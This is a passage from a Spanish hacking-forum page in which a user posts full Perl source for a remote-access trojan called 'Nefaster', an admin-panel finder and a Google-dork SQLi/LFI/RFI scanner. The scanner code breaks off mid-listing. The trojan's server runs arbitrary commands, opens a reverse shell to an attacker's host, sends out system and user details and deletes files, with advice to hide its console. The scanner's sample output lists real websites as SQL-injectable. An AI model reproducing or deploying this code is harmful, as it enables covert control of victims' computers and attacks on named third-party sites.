elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: 1 ... 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [39] 40 41 42 43
381  Programación / Scripting / [Perl] Troyano Nefaster en: 9 Octubre 2011, 17:47 pm
Bueno es es mi troyano Nefaster , en esta version le arregle varias cosas que pasare a detallar

  • Mostrar Informacion
  • Navegador de archivos
  • Cambiar directorio de navegacion
  • Crear archivo
  • Borrar archivo
  • Borrar directorio
  • Reproducir musica o videos poniendo la ruta en la opcion
  • Parar reproduccion
  • Abrir lectora de CD
  • Cerrar lectora de CD
  • Puertos abiertos
  • Mensaje
  • Ejecutar comandos
  • Esconder barra de tareas
  • Devolver barra de tareas
  • Esconder iconos del escritorio
  • Devolver iconos del escritorio
  • Administrar procesos con posibilidad de cerrar el que quieran
  • Reverse Shell si es que quieren ejecutar comandos de forma mas comoda


El codigo del cliente es este


Código
  1. #!usr/bin/perl
  2. #Nefester (Cliente) 0.1 By Doddy H
  3.  
  4.  
  5. use IO::Socket;
  6. use Cwd;
  7.  
  8. &menu;
  9.  
  10. sub head {
  11.  
  12. system 'cls';
  13.  
  14.  
  15.  
  16.            E      F                   TT    E        
  17. NNNNNNNEEEEEE FFFFFF   AAA   SSSSSTTTTTTEEEEEE RRRRRR
  18. NN NN  E EE   FFFF   A AA  S  S T TT T  E EE   RRRRR
  19. NNNNN  E EE   FF F   AAAAA S     T TT   E EE   RR  R
  20. NNNNN EEEEE  FFFFF  AAA AA  SSS S  TT  EEEEE  RRRRR  
  21. NNNNN  E EEE  FFF    AAAAA S  SSS  TT   E EEE  RR R  
  22. NN NN  EEEE E FF    AAA AA SS  SS  TT   EEEE E RR  R
  23. NNN NN EEEEEEEFFFF  AAA  AAA  SSS  TTTT EEEEEEE RRR RR
  24.                            SS                 R   R  
  25.  
  26.  
  27.  
  28. );
  29.  
  30. }
  31.  
  32. sub menu {
  33.  
  34. &head;
  35.  
  36. print "[Target] : ";
  37. chomp(my $ip = <STDIN>);
  38.  
  39.  
  40.  
  41. my $socket = new IO::Socket::INET(
  42. PeerAddr => $ip,
  43. PeerPort => 666,
  44. Proto => 'tcp',
  45. Timeout  => 5
  46. );
  47.  
  48. if ($socket) {
  49. $socket->close;
  50. &menuo($ip);
  51. } else {
  52. print "\n\n[-] Target no infectado\n";
  53. <STDIN>;
  54. &menu;
  55. }
  56.  
  57. }
  58.  
  59. sub menuo {
  60.  
  61. &head;
  62.  
  63. print "[$_[0]] : Servidor Activado\n\n";
  64. 1 : Informacion
  65. 2 : Navegador
  66. 3 : Abrir CD
  67. 4 : Cerrar CD
  68. 5 : Puertos abiertos
  69. 6 : Mensaje
  70. 7 : CMD
  71. 8 : Esconder barra de tareas
  72. 9 : Devolver barra de tareas
  73. 10 : Esconder iconos
  74. 11 : Devolver iconos
  75. 12 : Administrar procesos
  76. 13 : Reverse Shell
  77. 14 : Cambiar IP
  78. 15 : Salir
  79.  
  80.  
  81. );
  82. print "[Opcion] : ";
  83. chomp(my $opcion = <STDIN>);
  84.  
  85.  
  86. if ($opcion eq 1) {
  87. print "\n\n[+] Informacion\n\n";
  88. $re = daryrecibir($_[0],"infor");
  89. if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
  90. print "[Dominio] : $1\n";
  91. print "[Chip] : $2\n";
  92. print "[Version] : $3\n";
  93. print "[Nombre] : $4\n";
  94. print "[OS] : $5\n";
  95. <stdin>;
  96. }
  97. &menuo($_[0]);
  98. }
  99. elsif ($opcion eq 2) {
  100.  
  101. menu1:
  102. print "\n\n[+] Navegacion de archivos\n\n";
  103. $cwd = daryrecibir($_[0],"getcwd"."\r\n");
  104. print "tengo $cwd\n";
  105. show($_[0],"/");
  106. &menu2;
  107.  
  108. sub menu2 {
  109. print "\n\n[Opciones]\n\n";
  110. print "1 - Cambiar directorio\n";
  111. print "2 - Crear archivo\n";
  112. print "3 - Borrar archivo\n";
  113. print "4 - Borrar directorio\n";
  114. print "5 - Reproducir musica\n";
  115. print "6 - Parar reproduccion\n";
  116. print "7 - Volver al menu inicial\n\n";
  117. print "[Opcion] : ";
  118. chomp(my $op = <stdin>);
  119.  
  120. if ($op eq 1) {
  121. print "\n\n[+] Directorio : ";
  122. chomp (my $dir=<stdin>);
  123. $ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
  124. if ($ver=~/ok/ig) {
  125. print "\n\n[+] Directory changed\n\n";
  126. }
  127. show($_[0],$dir);
  128. &menu2;
  129. <stdin>;
  130. }
  131.  
  132. elsif ($op eq 2) {
  133.  
  134. print "\n\n[Nombre] : ";
  135. chomp(my $name = <stdin>);
  136. print "\n\n[Contenido] : ";
  137. chomp(my $code = <stdin>);
  138.  
  139. daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY");
  140.  
  141. print "\n\n[+] Archivo creado \n\n";
  142. <stdin>;
  143. }
  144. elsif ($op eq 3) {
  145. print "\n\n[Archivo a borrar] : ";
  146. chomp(my $file = <stdin>);
  147. $re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
  148. if ($re=~/ok/) {
  149. print "\n\n[+] Archivo Borrado\n\n";
  150. } else {
  151. print "\n\n[-] Error\n\n";
  152. }
  153. <stdin>;
  154. }
  155.  
  156. elsif ($op eq 4) {
  157. print "\n\n[Directorio a borrar] : ";
  158. chomp(my $file = <stdin>);
  159. $re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
  160. if ($re=~/ok/) {
  161. print "\n\n[+] Directorio Borrado\n\n";
  162. } else {
  163. print "\n\n[-] Error\n\n";
  164. }
  165. <stdin>;
  166. }
  167.  
  168. elsif ($op eq 5) {
  169. print "\n\n[Archivo] : ";
  170. chomp(my $file = <stdin>);
  171. print "\n\n[+] Reproduciendo\n\n";
  172. daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA");
  173. <stdin>;
  174. }
  175. elsif ($op eq 6) {
  176. print "\n\n[+] Reproduccion detenida\n\n";
  177. daryrecibir($_[0],"pararmusic");
  178. <stdin>;
  179. }
  180. elsif ($op eq 7) {
  181. &menuo($_[0]);
  182. }
  183. else {
  184. show($_[0],"/");
  185. }
  186. goto menu1;
  187. }
  188. }
  189.  
  190. elsif ($opcion eq 3) {
  191. daryrecibir($_[0],"opencd");
  192. &menuo($_[0]);
  193. }
  194.  
  195. elsif ($opcion eq 4) {
  196. daryrecibir($_[0],"closedcd");
  197. &menuo($_[0]);
  198. }
  199.  
  200. elsif ($opcion eq 5) {
  201. print "\n[Puertos Abiertos]\n\n";
  202. $re = daryrecibir($_[0],"porters");
  203. while ($re=~/:(.*?):/ig) {
  204. if ($1 ne "") {
  205. print "[+] $1\n";
  206. }
  207. }
  208. <stdin>;
  209. &menuo($_[0]);
  210. }
  211. elsif ($opcion eq 6) {
  212. print "\n[Mensaje] : ";
  213. chomp (my $msg = <stdin>);
  214. daryrecibir($_[0],"msgbox $msg");
  215. <stdin>;
  216. &menuo($_[0]);
  217. }
  218. elsif ($opcion eq 7) {
  219.  
  220. menu:
  221.  
  222. my $cmd,$re;
  223.  
  224. print "\n\n>";
  225.  
  226. chomp(my $cmd= <stdin>);
  227.  
  228. if ($cmd=~/exit/ig) {
  229. &menuo($_[0]);
  230. }
  231.  
  232. $re = daryrecibir($_[0],"comando :$cmd:");
  233. print "\n".$re;
  234. goto menu;
  235. &menuo($_[0]);
  236. }
  237. elsif ($opcion eq 8) {
  238. daryrecibir($_[0],"iniciochau");
  239. &menuo($_[0]);
  240. }
  241. elsif ($opcion eq 9) {
  242. daryrecibir($_[0],"iniciovuelve");
  243. &menuo($_[0]);
  244. }
  245. elsif ($opcion eq 10) {
  246. daryrecibir($_[0],"iconochau");
  247. &menuo($_[0]);
  248. }
  249. elsif ($opcion eq 11) {
  250. daryrecibir($_[0],"iconovuelve");
  251. &menuo($_[0]);
  252. }
  253.  
  254. elsif ($opcion eq 12) {
  255.  
  256. &reload($_[0]);
  257.  
  258. sub reload {
  259.  
  260. my @pro;
  261. my @pids;
  262.  
  263. my $sockex = new IO::Socket::INET(
  264. PeerAddr => $_[0],
  265. PeerPort => 666,
  266. Proto => 'tcp',
  267. Timeout  => 5
  268. );
  269.  
  270. print $sockex "mostrarpro"."\r\n";
  271. $sockex->read($re,5000);
  272. $sockex->close;
  273.  
  274. chomp $re;
  275.  
  276. print "\n\n[+] Procesos encontrados\n\n";
  277.  
  278. while ($re=~/PROXEC(.*?)PROXEC/ig) {
  279. if ($1 ne "") {
  280. push(@pro,$1);
  281. }
  282. }
  283.  
  284. while ($re=~/PIDX(.*?)PIDX/ig) {
  285. if ($1 ne "") {
  286. push(@pids,$1);
  287. }
  288. }
  289.  
  290. $cantidad = int(@pro);
  291.  
  292. for my $num(1..$cantidad) {
  293. if ($pro[$num] ne "") {
  294. print "\n[+] Proceso : ".$pro[$num]."\n";
  295. print "[+] PIDS : ".$pids[$num]."\n";
  296. }
  297. }
  298.  
  299.  
  300. [Opciones]
  301.  
  302.  
  303. 1 - Refrescar lista
  304. 2 - Cerrar procesos
  305. 3 - Volver al menu
  306.  
  307. );
  308.  
  309. print "\n[Opcion] :  ";
  310. chomp(my $opc = <stdin>);
  311.  
  312. if ($opc=~/1/ig) {
  313. &reload($_[0]);
  314. }
  315. elsif($opc=~/2/ig) {
  316. print "\n[+] Write the name of the process : ";
  317. chomp(my $numb = <stdin>);
  318. print "\n[+] Write the PID of the process : ";
  319. chomp(my $pid = <stdin>);
  320. $re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
  321. if ($re=~/ok/ig) {
  322. print "\n\n[+] Proceso cerrado\n\n";
  323. } else {
  324. print "\n\n[-] Error\n\n";
  325. }
  326. <stdin>;
  327. &reload($_[0]);
  328. }
  329. elsif($opc=~/3/ig) {
  330. &menuo($_[0]);
  331. }
  332. else {
  333. &reload;
  334. }
  335. }
  336. }
  337.  
  338. elsif ($opcion eq 13) {
  339. print "\n\n[IP] : ";
  340. chomp(my $ip = <stdin>);
  341. print "\n\n[Port] : ";
  342. chomp(my $port = <stdin>);
  343. print "\n\n[+] Connected !!!\n\n";
  344. $re = daryrecibir($_[0],"backshell :$ip:$port:");
  345. }
  346. elsif ($opcion eq 14) {
  347. &menu;
  348. }
  349. elsif ($opcion eq 15) {
  350. exit 1;
  351. }
  352. else {
  353. &menuo;
  354. }
  355. }
  356.  
  357. sub daryrecibir {
  358.  
  359. my $sockex = new IO::Socket::INET(
  360. PeerAddr => $_[0],
  361. PeerPort => 666,
  362. Proto => 'tcp',
  363. Timeout  => 5
  364. );
  365.  
  366. print $sockex $_[1]."\r\n";
  367. $sockex->read($re,5000);
  368. $sockex->close;
  369. return $re."\r";
  370. }
  371.  
  372. sub show {
  373.  
  374. my $re = daryrecibir($_[0],"getcwd"."\r\n");
  375. print "\n\n[+] Directorio Actual : $re\n\n";
  376. $re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
  377. print "\n\n[Directorios]\n\n";
  378.  
  379. while ($re1=~/DIREX(.*?)DIREX/ig) {
  380. if ($1 ne "") {
  381. print "[+] $1\n";
  382. }
  383. }
  384.  
  385. print "\n\n[Archivos]\n\n";
  386.  
  387. while ($re1=~/FILEX(.*?)FILEX/ig) {
  388. if ($1 ne "") {
  389. print "[+] $1\n";
  390. }
  391. }
  392.  
  393. }
  394.  
  395. #
  396. # ¿ The End ?
  397. #
  398.  

Y el server

Código
  1. #!/usr/bin/perl
  2. #Nefester (sERVidor) 0.1 By Doddy H
  3. #Compilar con perl2exe para sacar consola
  4.  
  5. use IO::Socket;
  6. use Socket;
  7. use Win32;
  8. use Cwd;
  9. use Win32::MediaPlayer;
  10. use Win32::Process::List;
  11. use Win32::Process;
  12. use Win32::API;
  13.  
  14. use constant SW_HIDE => 0;
  15. use constant SW_SHOWNORMAL => 1;
  16.  
  17. my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N');
  18. my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');
  19.  
  20. $test = new Win32::MediaPlayer;
  21.  
  22. my $sock = IO::Socket::INET->new(LocalPort => 666,
  23. Listen => 10,
  24. Proto => 'tcp',
  25. Reuse => 1);
  26.  
  27. print "online\n";
  28.  
  29. while (my $con = $sock->accept){
  30. $resultado = <$con>;
  31. print "boludo mando : $resultado\n";
  32.  
  33. if ($resultado=~/msgbox (.*)/ig) {
  34. Win32::MsgBox($1,0,"Mensaje de Dios")
  35. }
  36.  
  37. if ($resultado=~/backshell :(.*):(.*):/ig) {
  38.  
  39. my ($ip,$port) = ($1,$2);
  40.  
  41. print "conectando $ip con $port\n";
  42.  
  43. $ip =~s/(\s)+$//;
  44. $port =~s/(\s)+$//;
  45.  
  46. conectar($ip,$port);
  47. tipo();
  48.  
  49. sub conectar {
  50. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  51. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  52. open (STDIN,">&REVERSE");
  53. open (STDOUT,">&REVERSE");
  54. open (STDERR,">&REVERSE");
  55. }
  56.  
  57. sub tipo {
  58. print "\n[*] Reverse Shell Starting...\n\n";
  59. if ($^O =~/Win32/ig) {
  60. infowin();
  61. system("cmd.exe");
  62. } else {
  63. infolinux();
  64. #root();  
  65. system("export TERM=xterm;exec sh -i");
  66. }
  67. }
  68.  
  69. sub infowin {
  70. print "[+] Domain Name : ".Win32::DomainName()."\n";
  71. print "[+] OS Version : ".Win32::GetOSName()."\n";
  72. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  73. }
  74.  
  75. sub infolinux {
  76. print "[+] System information\n\n";
  77. system("uname -a");
  78. print "\n\n";
  79. }
  80.  
  81.  
  82. }
  83.  
  84. if ($resultado =~/opencd/ig) {
  85.  
  86. use Win32::API;
  87.  
  88. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  89. my $rta = ' ' x 127;  
  90. $ventana->Call('set CDAudio door open', $rta, 127, 0);
  91. print $con "ok"."\r\n";
  92. }
  93.  
  94. if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) {
  95.  
  96. my ($pid,$numb) = ($1,$2);
  97.  
  98. $pid=~s/(\s)+$//;
  99. $numb=~s/(\s)+$//;
  100.  
  101. if (Win32::Process::KillProcess($pid,$numb)) {
  102. print $con "ok\r\n";
  103. }
  104. }
  105.  
  106. if ($resultado =~/closedcd/ig) {
  107.  
  108. use Win32::API;
  109.  
  110. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  111. my $rta = ' ' x 127;  
  112. $ventana->Call('set CDAudio door closed', $rta, 127, 0);
  113. print $con "ok"."\r\n";
  114. }
  115.  
  116. if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) {
  117.  
  118. my $filex = $1;
  119.  
  120. $filex =~s/(\s)+$//;
  121.  
  122. print getcwd()."/".$filex."\n\n";
  123.  
  124. if (unlink(getcwd()."/".$filex)) {
  125. print $con "ok\r\n";
  126. }
  127.  
  128. }
  129.  
  130.  
  131.  
  132. if ($resultado=~/infor/ig) {
  133. print "mando";
  134. use Win32;
  135.  
  136.  
  137. my $domain = Win32::DomainName();
  138. my $chip = Win32::GetChipName();
  139. my $version = Win32::GetOSVersion();
  140. my $nombre = Win32::LoginName();
  141. my  $os = Win32::GetOSName();
  142.  
  143. print $con ":".$domain.":".$chip.":".$version.":".$nombre.":".$os.":"."\r\n";
  144. }
  145.  
  146.  
  147. if ($resultado=~/porters/ig) {
  148.  
  149. use Net::Netstat::Wrapper;
  150.  
  151. $por = "";
  152. @ports = Net::Netstat::Wrapper->only_port();
  153. for(@ports) {
  154. $por = $por.":".$_;
  155. }
  156. print $con $por."\r\n";
  157. }
  158.  
  159.  
  160. if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) {
  161.  
  162. my $cancion = $1;
  163.  
  164. $cancion =~s/(\s)+$//;
  165.  
  166. $test->load($cancion);
  167. $test->play;
  168.  
  169. }
  170.  
  171. if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) {
  172.  
  173. my $dir = $1;
  174. $dir =~s/(\s)+$//;
  175.  
  176.  
  177. if (chdir($dir)) {
  178. print $con "ok\r\n";
  179. }
  180.  
  181. }
  182.  
  183. if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) {
  184.  
  185. my $veox = $1;
  186. $veox =~s/(\s)+$//;
  187.  
  188. if (rmdir(getcwd()."/".$veox)) {
  189. print $con "ok\r\n";
  190. }
  191. }
  192.  
  193.  
  194.  
  195. if ($resultado=~/pararmusic/ig) {
  196. $test->close;
  197. }
  198.  
  199.  
  200.  
  201. if ($resultado=~/dirnow ACATOY(.*)/ig) {
  202.  
  203. my $real = $1;
  204. chomp $real;
  205.  
  206. $real =~s/(\s)+$//;
  207.  
  208. print "real $real\n\n";
  209.  
  210. my @archivos = coleccionar($real);
  211.  
  212. for (@archivos) {
  213. print $_."\n";
  214. my $todo = $real."/".$_;
  215.  
  216. print $todo."\n";
  217.  
  218. if (-f $todo) {
  219. print $con "FILEX".$_."FILEX"."\r\n";
  220. print "File : ".$_."\n";
  221. }
  222.  
  223. if (-d $todo) {
  224. print $con "DIREX".$_."DIREX"."\r\n";
  225. print "Dir : ".$_."\n";
  226. }
  227.  
  228. }
  229. }
  230.  
  231. sub coleccionar {
  232. opendir DIR,$_[0];
  233. my @archivos = readdir DIR;
  234. close DIR;
  235. return @archivos;
  236. }
  237.  
  238. if ($resultado=~/getcwd/ig) {
  239. print "envie ".getcwd()."\n\n";
  240. print $con getcwd()."\r\n";
  241. }
  242.  
  243.  
  244. if ($resultado=~/mostrarpro/ig) {
  245.  
  246.  
  247. my $new = Win32::Process::List->new();  
  248. my %process = $new->GetProcesses();
  249. for my $pid (keys %process) {
  250. print $con "PROXEC".$process{$pid}."PROXEC\r\n";
  251. print $con "PIDX".$pid."PIDX\r\n";
  252.  
  253. }
  254.  
  255.  
  256. }
  257.  
  258. if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) {
  259. my $name = $1;
  260. my $file = $2;
  261.  
  262. chomp $name;
  263. chomp $file;
  264.  
  265. $name =~s/(\s)+$//;
  266. $file =~s/(\s)+$//;
  267.  
  268. print "name is $name end\n";
  269. print "file is $file end\n";
  270.  
  271. open FILE,">>".$name;
  272. print FILE $file."\n";
  273. close FILE;
  274. }
  275.  
  276. if ($resultado=~/comando :(.*):/ig) {
  277. print "llego comando $1\n";
  278. print $resultado;
  279. my $temp = qx($1);
  280. print $con $temp."\r";
  281. }
  282.  
  283. if ($resultado=~/iniciochau/g) {
  284. inicio_chau("Shell_TrayWnd");
  285. }
  286. if ($resultado=~/iniciovuelve/g) {
  287. inicio_vuelve("Shell_TrayWnd");
  288. } else {
  289. print $resultado;
  290. }
  291. if ($resultado=~/iconovuelve/g) {
  292. icono_vuelve("Program Manager");
  293. }
  294. if ($resultado=~/iconochau/g) {
  295. icono_chau("Program Manager");
  296. }
  297.  
  298.  
  299. sub icono_vuelve {
  300. $handle = $a->Call(0,$_[0]);
  301. $b->Call($handle,SW_SHOWNORMAL);
  302.  
  303. }
  304.  
  305. sub icono_chau {
  306.  
  307. $handle = $a->Call(0,$_[0]);
  308. $b->Call($handle,SW_HIDE);
  309.  
  310. }
  311.  
  312. sub inicio_vuelve {
  313. $handlex = $a->Call($_[0],0);
  314. $b->Call($handlex,SW_SHOWNORMAL);
  315.  
  316. }
  317.  
  318. sub inicio_chau {
  319.  
  320. $handlea = $a->Call($_[0],0);
  321. $b->Call($handlea,SW_HIDE);
  322.  
  323. }
  324.  
  325.  
  326. }
  327.  
  328.  
  329. # ¿ The End ?
  330.  
  331.  
  332.  
382  Programación / Scripting / [Perl] Panel Control 0.6 en: 8 Octubre 2011, 16:57 pm
La nueva version de esta herramienta para buscar el panel de administracion

Código
  1. #!usr/bin/perl
  2. #Panel Control 0.6
  3. #(C) Doddy Hackman 2011
  4.  
  5. use LWP::UserAgent;
  6.  
  7. @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx'
  8. ,'admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx'
  9. ,'asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx'
  10. ,'asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx'
  11. ,'admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx'
  12. ,'login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx'
  13. ,'administracion/index.asp','administracion/index.aspx','administracion/login.asp'
  14. ,'administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx'
  15. ,'administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php'
  16. ,'admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php'
  17. ,'admin/administrador.php','admin/default.php','administracion/','administracion/index.php'
  18. ,'administracion/login.php','administracion/ingresar.php','administracion/admin.php'
  19. ,'administration/','administration/index.php','administration/login.php'
  20. ,'administrator/index.php','administrator/login.php','administrator/system.php','system/'
  21. ,'system/login.php','admin.php','login.php','administrador.php','administration.php'
  22. ,'administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php'
  23. ,'yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html'
  24. ,'admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html'
  25. ,'admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html'
  26. ,'administrator/','administrator/index.html','administrator/login.html'
  27. ,'administrator/account.html','administrator/account.php','administrator.html','login.html'
  28. ,'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php'
  29. ,'moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/'
  30. ,'account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html'
  31. ,'admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp'
  32. ,'admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp'
  33. ,'admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp'
  34. ,'administrator/login.asp','administrator/account.asp','administrator.asp'
  35. ,'modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp'
  36. ,'account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/'
  37. ,'fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php'
  38. ,'sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp'
  39. ,'ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html'
  40. ,'Server.asp','Server/','wp-admin/','administr8.php','administr8.html'
  41. ,'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp'
  42. ,'webadmin.html','administratie/','admins/','admins.php','admins.asp'
  43. ,'admins.html','administrivia/','Database_Administration/','WebAdmin/'
  44. ,'useradmin/','sysadmins/','admin1/','system-administration/','administrators/'
  45. ,'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/'
  46. ,'administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/'
  47. ,'cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/
  48. ','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/
  49. ','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/
  50. ','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/
  51. ','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/'
  52. ,'project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/'
  53. ,'wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/'
  54. ,'Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/'
  55. ,'irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/'
  56. ,'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/'
  57. ,'Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/'
  58. ,'cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/'
  59. ,'server/','database_administration/','power_user/','system_administration/'
  60. ,'ss_vms_admin_sm/');
  61.  
  62. my $nave = LWP::UserAgent->new;
  63. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  64. $nave->timeout(5);
  65.  
  66. head();
  67. unless($ARGV[0]) {
  68. print "\n\n[+] sintax : $0 <web>\n\n";
  69. } else {
  70. scan($ARGV[0]);
  71. }
  72. copyright();
  73.  
  74. sub scan {
  75. print "\n[+] Scanning $_[0]\n\n\n";
  76. for $path(@panels) {
  77. $code = toma($_[0]."/".$path);
  78. if ($code->is_success) {
  79. print "[Link] : ".$_[0]."/".$path."\n";
  80. }
  81. }
  82. }
  83.  
  84. sub head {
  85. print "\n\n-- == Panel Control == --\n\n";
  86. }
  87.  
  88. sub copyright {
  89. print "\n\n(C) Doddy Hackman 2011\n\n";
  90. exit(1);
  91. }
  92.  
  93. sub toma {
  94. return $nave->get($_[0]);
  95. }
  96.  
  97. #Thanks to explorer (PerlEnEspañol)
  98. # ¿ The End ?
  99.  
383  Programación / Scripting / [Perl] Paranoic Scan By Doddy H en: 8 Octubre 2011, 16:56 pm
Hola.

Hoy traigo un programa que eh estado haciendo porque estaba harto de ir probando cada
web que encontraba en google para saber si tenia la vulnerabilidad que queria
Asi que por eso hice esta tool , con las siguientes opciones

* Permite scaner un archivo con webs
* Permite buscar en google , borrar repes , y luego scanear


Tipos de scan :

* SQL
* LFI
* RFI
* FULL SOURCE DISCLOURE



Ejemplo de uso


Código:



@@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
 @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
 @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
 @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
 @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
 @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
@@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




[a] : Scan a File
[b] : Search in google and scan the webs

[option] : b

[+] Dork : ficha.php+id
[+] Pages : 200


[+] Scan Type :

[S] : SQL
[L] : LFI
[R] : RFI
[F] : Full Source Discloure
[A] : All


[Option] : s

[Google] : www.google.com.ar
[Dork] : ficha.php+id
[Pages] : 200

[+] Searching pages..
[+] Cleaning results

[Status] : Scanning
[Webs Count] : 136

[+] SQLI : http://www.3tres3.com/opinion/ficha.php?id=
[+] SQLI : http://www.vincipark.es/ficha.php?id=
[+] SQLI : http://www.maxhuber.cl/ficha.php?id=
[+] SQLI : http://www.alddeaviviendas.com/sitio/ficha.php?id=
[+] SQLI : http://www.bvocal.org/ficha.php?id=
[+] SQLI : http://www.animadas.com/artista-ficha.php?id=
[+] SQLI : http://www.madamedepompadour.cl/ficha.php?id=
[+] SQLI : http://codigo-civil.org/base/ficha.php?id=
[+] SQLI : http://www.cibercolchon.com/ficha.php?id=
[+] SQLI : http://www.100citiesinitiative.org/ficha.php?ID=
[+] SQLI : http://www.nibbledpencil.com/ficha.php?id=

[Status] : Finish



(C) Doddy Hackman 2010


Codigo
Código
  1.  
  2. #!usr/bin/perl
  3. #Paranoic Scan 0.4
  4. #(c)0ded by Doddy H 2010
  5.  
  6. use LWP::UserAgent;
  7. use HTTP::Request::Common;
  8. use URI::Split qw(uri_split);
  9.  
  10. my $nave = LWP::UserAgent->new();
  11. $nave->timeout(5);
  12. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  13.  
  14.  
  15.  
  16.  
  17.  
  18. sub head {
  19. system 'cls';
  20.  
  21.  
  22. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  23. @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
  24. @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
  25. @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
  26. @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
  27. @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
  28. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @
  29.  
  30.  
  31.  
  32.  
  33. );
  34. }
  35. &menu;
  36. sub menu {
  37. &head;
  38. print "[a] : Scan a File\n";
  39. print "[b] : Search in google and scan the webs\n\n";
  40. print "[option] : ";
  41. chomp(my $op = <STDIN>);
  42. if ($op=~/a/ig) {
  43. print "\n[+] Wordlist : ";
  44. chomp(my $word = <STDIN>);
  45. @paginas = repes(savewords($word));
  46. my $option = &men;
  47. scan($option,@paginas);
  48. }
  49. elsif ($op=~/b/ig) {
  50. print "\n[+] Dork : ";
  51. chomp(my $dork = <STDIN>);
  52. print "[+] Pages : ";
